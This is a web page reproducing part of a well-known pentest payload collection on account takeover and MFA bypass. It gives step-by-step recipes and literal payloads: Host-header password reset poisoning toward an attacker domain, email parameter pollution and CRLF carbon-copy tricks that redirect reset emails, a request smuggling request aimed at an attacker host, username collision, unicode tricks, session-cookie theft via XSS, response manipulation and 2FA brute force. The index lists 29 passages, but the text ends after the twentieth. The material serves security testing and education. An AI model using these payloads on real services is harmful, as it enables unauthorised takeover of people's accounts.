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Payloads · Authentication

Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

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From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

Disclosed reports of this class

29 of 29 passages

Passages
  1. Account Takeover
  2. Password Reset Token Leak via Referrer
  3. Account Takeover Through Password Reset Poisoning
  4. Password Reset via Email Parameter
  5. IDOR on API Parameters
  6. Weak Password Reset Token
  7. Leaking Password Reset Token
  8. Password Reset via Username Collision
  9. Account Takeover Due To Unicode Normalization Issue
  10. Account Takeover via Cross Site Scripting
  11. Account Takeover via HTTP Request Smuggling
  12. Account Takeover via CSRF
  13. Account Takeover via JWT
  14. mfa-bypass: MFA Bypasses
  15. mfa-bypass: Response Manipulation
  16. mfa-bypass: Status Code Manipulation
  17. mfa-bypass: 2FA Code Leakage in Response
  18. mfa-bypass: JS File Analysis
  19. mfa-bypass: 2FA Code Reusability
  20. mfa-bypass: Lack of Brute-Force Protection
  21. mfa-bypass: Missing 2FA Code Integrity Validation
  22. mfa-bypass: CSRF on 2FA Disabling
  23. mfa-bypass: Password Reset Disable 2FA
  24. mfa-bypass: Backup Code Abuse
  25. mfa-bypass: Clickjacking on 2FA Disabling Page
  26. mfa-bypass: Enabling 2FA doesn't expire Previously active Sessions
  27. mfa-bypass: Bypass 2FA by Force Browsing
  28. mfa-bypass: Bypass 2FA with null or 000000
  29. mfa-bypass: Bypass 2FA with array

Account Takeover

SourceOn the Atlas

> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.

Password Reset Token Leak via Referrer

SourceOn the Atlas

1. Request password reset to your email address 2. Click on the password reset link 3. Don't change password 4. Click any 3rd party websites(e.g., Facebook, twitter) 5. Intercept the request in Burp Suite proxy 6. Check if the referer header is leaking password reset token.

Account Takeover Through Password Reset Poisoning

SourceOn the Atlas

1. Intercept the password reset request in Burp Suite 2. Add or edit the following headers in Burp Suite : `Host: [ATTACKER.DOMAIN.TLD]`, `X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]` 3. Forward the request with the modified header ```http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [ATTACKER.DOMAIN.TLD] ``` 4. Look for a password reset URL based on the *host header* like : `https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN`

Password Reset via Email Parameter

SourceOn the Atlas
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

SourceOn the Atlas

1. Attacker have to login with their account and go to the **Change password** feature. 2. Start the Burp Suite and Intercept the request 3. Send it to the repeater tab and edit the parameters : User ID/email ```powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"}) ```

Weak Password Reset Token

SourceOn the Atlas

The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. * Timestamp * UserID * Email of User * Firstname and Lastname * Date of Birth * Cryptography * Number only * Small token sequence (<6 characters between [A-Z,a-z,0-9]) * Token reuse * Token expiration date

Leaking Password Reset Token

SourceOn the Atlas

1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com> 2. Inspect the server response and check for `resetToken` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

Password Reset via Username Collision

SourceOn the Atlas

1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 2. Request a password reset with your malicious username. 3. Use the token sent to your email and reset the victim password. 4. Connect to the victim account with the new password. The platform CTFd was vulnerable to this attack. See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)

Account Takeover Due To Unicode Normalization Issue

SourceOn the Atlas

When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur. * Victim account: `demo@gmail.com` * Attacker account: `demⓞ@gmail.com` [Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub). [Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.

Account Takeover via Cross Site Scripting

SourceOn the Atlas

1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 2. Leak the current **sessions cookie** 3. Authenticate as the user using the cookie

Account Takeover via HTTP Request Smuggling

SourceOn the Atlas

Refer to **HTTP Request Smuggling** vulnerability page. 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE) ```powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h ``` 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: ```powershell GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: ``` 3. Final request could look like the following ```powershell GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: X ``` Hackerone reports exploiting this bug * <https://hackerone.com/reports/737140> * <https://hackerone.com/reports/771666>

Account Takeover via CSRF

SourceOn the Atlas

1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" 2. Send the payload

Account Takeover via JWT

SourceOn the Atlas

JSON Web Token might be used to authenticate a user. * Edit the JWT with another User ID / Email * Check for weak JWT signature

mfa-bypass: MFA Bypasses

SourceOn the Atlas

> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. > MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

mfa-bypass: Response Manipulation

SourceOn the Atlas

If response is `"success":false` Change it to `"success":true`

mfa-bypass: Status Code Manipulation

SourceOn the Atlas

If Status Code is **4xx** Try changing it to **200 OK** and see if it bypass restrictions

mfa-bypass: 2FA Code Leakage in Response

SourceOn the Atlas

Check the response of the 2FA Code Triggering Request for leaked code.

mfa-bypass: JS File Analysis

SourceOn the Atlas

Rare but some JS Files may contain info about the 2FA Code, worth giving a shot

mfa-bypass: Lack of Brute-Force Protection

SourceOn the Atlas

Possible to brute-force any length 2FA Code

Data as of 2026-11-14.

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